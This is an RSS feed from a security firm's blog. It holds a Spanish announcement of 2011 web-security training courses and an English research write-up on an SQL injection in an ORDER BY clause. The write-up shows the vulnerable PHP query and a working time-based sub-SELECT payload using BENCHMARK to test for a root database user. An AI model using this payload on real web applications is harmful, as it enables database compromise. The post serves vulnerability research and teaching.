<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bonsai - Information Security Blog &#187; sql injection</title>
	<atom:link href="http://www.bonsai-sec.com/blog/index.php/tag/sql-injection/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bonsai-sec.com/blog</link>
	<description>Information security news from the small tree</description>
	<lastBuildDate>Tue, 12 Jul 2011 00:39:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Lanzamos el Calendario 2011</title>
		<link>http://www.bonsai-sec.com/blog/index.php/lanzamos-el-calendario-2011/</link>
		<comments>http://www.bonsai-sec.com/blog/index.php/lanzamos-el-calendario-2011/#comments</comments>
		<pubDate>Tue, 08 Feb 2011 23:56:21 +0000</pubDate>
		<dc:creator>valeria</dc:creator>
				<category><![CDATA[bonsai]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[cursos]]></category>
		<category><![CDATA[Local File Inclusion]]></category>
		<category><![CDATA[open redirect]]></category>
		<category><![CDATA[OS Commanding]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[owasp top 10]]></category>
		<category><![CDATA[Remote File Inclusion]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[training]]></category>
		<category><![CDATA[web application]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.bonsai-sec.com/blog/?p=567</guid>
		<description><![CDATA[Porque creemos que capacitar a los profesionales de una organización va más allá de acrecentar sus conocimientos técnicos; la capacitación mejora la imagen de su organización frente a sus clientes, motiva a los empleados y acelera el proceso de toma de decisiones. Las empresas u organizaciones con empleados altamente calificados tendrán excelentes resultados financieros en el corto y mediano plazo.
Es [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Porque creemos que capacitar a los profesionales de una organización va más allá de acrecentar sus conocimientos técnicos; la capacitación mejora la imagen de su organización frente a sus clientes, motiva a los empleados y acelera el proceso de toma de decisiones. Las empresas u organizaciones con empleados altamente calificados tendrán excelentes resultados financieros en el corto y mediano plazo.</p>
<p style="text-align: justify;">Es por eso que arrancamos el año a puro training! Durante el 2011 seguimos dictando trainings abiertos y sumamos a nuestros cursos tradicionales un <strong>nuevo training basado en OWASP Top 10</strong>.</p>
<h2>Abril</h2>
<p><strong>15 de Abril de 2011 :: Training basado en OWASP Top 10 :: Lanzamiento!</strong></p>
<p>El training basado en el <strong>OWASP Top 10</strong> está focalizado en las <strong>vulnerabilidades Web</strong> clasificadas por OWASP como de alto riesgo. Durante este curso de <strong>un día</strong> se explicará <strong>teóricamente</strong> cada vulnerabilidad con <strong>prácticas hands-on</strong>, <strong>demostraciones</strong> y las <strong>contramedidas</strong> necesarias para mitigar dichas vulnerabilidades</p>
<p>Pensado especialmente para desarrolladores, programadores, QA, Analistas de Seguridad Informática, etc.</p>
<p><strong>$ 1.100 ARS + IVA por persona</strong> <span style="color: #ff0000;">*</span><span style="color: #ff0000;"><strong>15% off * </strong></span>si te anotas antes del 21 de marzo.</p>
<address>Más información en <a href="http://www.bonsai-sec.com/es/education/owasp-top10.php">http://www.bonsai-sec.com/es/education/owasp-top10.php</a></address>
<h2>Junio</h2>
<p><strong>:: Web Application Security Training</strong></p>
<p>El training de <strong>Web Application Security</strong> de Bonsai se focaliza en el descubrimiento y explotación, manual y automático, de vulnerabilidades en aplicaciones Web. Durante este curso de<strong> dos días</strong>, se presentarán una serie de temas teóricos seguidos de <strong>prácticas hands-on</strong> realizadas por los asistentes. En cada práctica encontrarás <strong>vulnerabilidades para explotar</strong>, cada una con un nivel diferente de complejidad, las que desafiarán tu comprensión del tema.</p>
<p>Nuestra experiencia en capacitación nos ha ayudado a crear el mejor training de<strong> Web Application Security</strong>, el cual está orientado a la comprensión del <strong>código fuente</strong>: para cada tema se presenta un segmento de código vulnerable e independientemente del lenguaje, los asistentes aprenderán sobre vulnerabilidades en<strong> Java</strong>, <strong>PHP</strong>, <strong>ASP.NET</strong>,<strong> ASP</strong>, <strong>Ruby</strong> y <strong>Python</strong>.</p>
<p>Durante la primer hora, se repasarán conceptos básicos de <strong>HTTP</strong> y técnicas genéricas de descubrimiento de vulnerabilidades, para luego incrementar gradualmente el nivel de dificultad hasta llegar a comprender y ejecutar los ataques de mayor complejidad.</p>
<p>El training está diseñado para administradores, consultores, oficiales y responsables de Seguridad Informática; desarrolladores de aplicaciones Web, expertos en Quality Assurance, Administradores de Aplicaciones Web, etc.</p>
<address>Más información en <a href="http://www.bonsai-sec.com/es/education/web-application-security-training.php">http://www.bonsai-sec.com/es/education/web-application-security-training.php</a></address>
<h2>Próximas Fechas</h2>
<p>Y todavía hay más! Vamos a estar dictando cursos en los meses de <strong>Julio</strong>, <strong>Septiembre</strong> y <strong>Noviembre</strong>. En cuanto tengamos las fechas exactas de los mismos, las publicaremos en nuestro Google Calendar, y se irán actualizando por este medio también.</p>
<p><em>Consulte descuentos a grupos y cursos modalidad in-company</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bonsai-sec.com/blog/index.php/lanzamos-el-calendario-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Not the average SQL Injection</title>
		<link>http://www.bonsai-sec.com/blog/index.php/not-the-average-sql-injection/</link>
		<comments>http://www.bonsai-sec.com/blog/index.php/not-the-average-sql-injection/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 19:35:50 +0000</pubDate>
		<dc:creator>andres.riancho</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://www.bonsai-sec.com/blog/?p=195</guid>
		<description><![CDATA[SQL Injections are one of the most common and most critical Web application vulnerabilities that can be identified during a Web Application Penetration Test. SQL injections can occur in any part of a SQL query, but they usually occur in the &#8220;where_definition&#8221; section, to clarify what I&#8217;m talking about, here&#8217;s the syntax definition for the [...]]]></description>
			<content:encoded><![CDATA[<p>SQL Injections are one of the most common and most critical Web application vulnerabilities that can be identified during a <a title="Web Application Penetration Test" href="http://www.bonsai-sec.com/en/services/web-application-penetration-testing.php" target="_self">Web Application Penetration Test.</a> SQL injections can occur in any part of a SQL query, but they usually occur in the &#8220;where_definition&#8221; section, to clarify what I&#8217;m talking about, here&#8217;s the syntax definition for the SELECT statement for MySQL:</p>
<pre>SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
<em><code>select_expr</code></em>, ...
[INTO OUTFILE '<em><code>file_name</code></em>' <em><code>export_options</code></em>
| INTO DUMPFILE '<em><code>file_name</code></em>']
[FROM <em><code>table_references</code></em>
[WHERE <span style="color: red;"><em><code>where_definition</code></em></span>]
[GROUP BY {<em><code>col_name</code></em> | <em><code>expr</code></em> | <em><code>position</code></em>}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING <em><code>where_definition</code></em>]
[ORDER BY {<em><code>col_name</code></em> | <em><code>expr</code></em> | <em><code>position</code></em>}
[ASC | DESC] , ...]
[LIMIT {[<em><code>offset</code></em>,] <em><code>row_count</code></em> | <em><code>row_count</code></em> OFFSET <em><code>offset</code></em>}]
[PROCEDURE <em><code>procedure_name</code></em>(<em><code>argument_list</code></em>)]
[FOR UPDATE | LOCK IN SHARE MODE]]</pre>
<p>While performing some vulnerability research in e-commerce Web applications, Ryan ﻿Dewhurst (ryan@bonsai-sec.com) found a rather uncommon SQL Injection vector in the &#8220;col_name&#8221; section of the SELECT query, which at first looks like the average SQL Injection, but when actually trying to exploit it we discovered that it was more difficult than expected. This is the code snippet for the vulnerability, were we only control the <span style="color: #ff0000;">$sort_order</span> value:</p>
<pre>$userlog = db_get_array("SELECT change_id, action, timestamp,
                         amount, reason FROM points_table
                         WHERE user_id = ?i ORDER BY $sort_by
                         <span style="color: #ff0000;">$sort_order</span> $limit", $user_id);</pre>
<p>First of all, no SQL Injection tool works with this type of SQL injection. The reason is that they all assume that they are going to be injecting in the where_definition part of the query, and in this case that assumption is false. So we went back to the <a title="SELECT syntac" href="http://dev.mysql.com/doc/refman/5.0/es/select.html" target="_blank">SELECT syntax</a>, and we found that we had not much space to play:</p>
<pre>[ORDER BY {<em><code>col_name</code></em> | <em><code>expr</code></em> | <em><code>position</code></em>}
[ASC | DESC] , ...]
[LIMIT {[<em><code>offset</code></em>,] <em><code>row_count</code></em> | <em><code>row_count</code></em> OFFSET <em><code>offset</code></em>}]
[PROCEDURE <em><code>procedure_name</code></em>(<em><code>argument_list</code></em>)]
[FOR UPDATE | LOCK IN SHARE MODE]]</pre>
<p>The first idea was to use a UNION clause in order to join two different queries, the one controlled by the web application, and the other controlled by us; which seemed to be a good idea, but a flawed one also:</p>
<pre>
<ul>
<li><code>select 1,2,3 union select 4,5,6</code>
Works perfectly.</li>
<li><code>select 1,2,3 order by 1 ASC union select 4,5,6</code>
Throws an "Incorrect usage of UNION and ORDER BY error."</li>
<li><code><span style="color: red;">(</span>select 1,2,3 order by 1 ASC) union (select 4,5,6)</code>
Works perfectly, but we can't add the "<span style="color: red;">(</span>" at the beginning
of the query.</li>
</ul>
</pre>
<p>UNION was out of the picture.</p>
<p>Without even noticing that I was testing something syntactically incorrect, I tried to write a file to disk using &#8220;INTO OUTFILE&#8221;, and surprisingly enough, it worked. But the problem is that we can&#8217;t control the contents of the file, because in this particular Web application we had no control of the contents of the <code>points_table</code>, so once again we&#8217;re were we started because we can&#8217;t write a PHP shell to disk.</p>
<p>So the next step was to find a way to execute a SELECT statement after an ORDER BY, the best thing that we could find was to inject a sub-SELECT statement in the <em><em><code>col_name </code></em></em>section of the order by. Finally the SQL injection ended up like this:</p>
<pre><code>,(SELECT BENCHMARK(1000000,MD5(1)) FROM points_table where
CURRENT_USER() like 'root@localhost' limit 1)</code></pre>
<p>Which makes,</p>
<pre><code>SELECT change_id, action, timestamp, amount, reason FROM
       points_table WHERE user_id = i ORDER BY timestamp<strong>,
       (SELECT BENCHMARK(1000000,MD5(1)) FROM points_table
        where CURRENT_USER() like 'root@localhost' limit 1)</strong></code></pre>
<p>The only problem is that this injection only works if the first SELECT statement actually has more than one row to order (this is because of MySQL performance enhancements). So to be able to exploit this particular SQL injection, we had to buy two items from the e-commerce store in order to add a couple of rows to the points_table, which would then trigger the sub-select in the order by section of the query.</p>
<p>The above injection can be modified to perform almost any query to the database, which leads to total e-commerce web application compromise.</p>
<p>The conclusion is simple: while automated tools can help is in many cases, an experienced security professional can never be replaced.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bonsai-sec.com/blog/index.php/not-the-average-sql-injection/feed/</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
	</channel>
</rss>

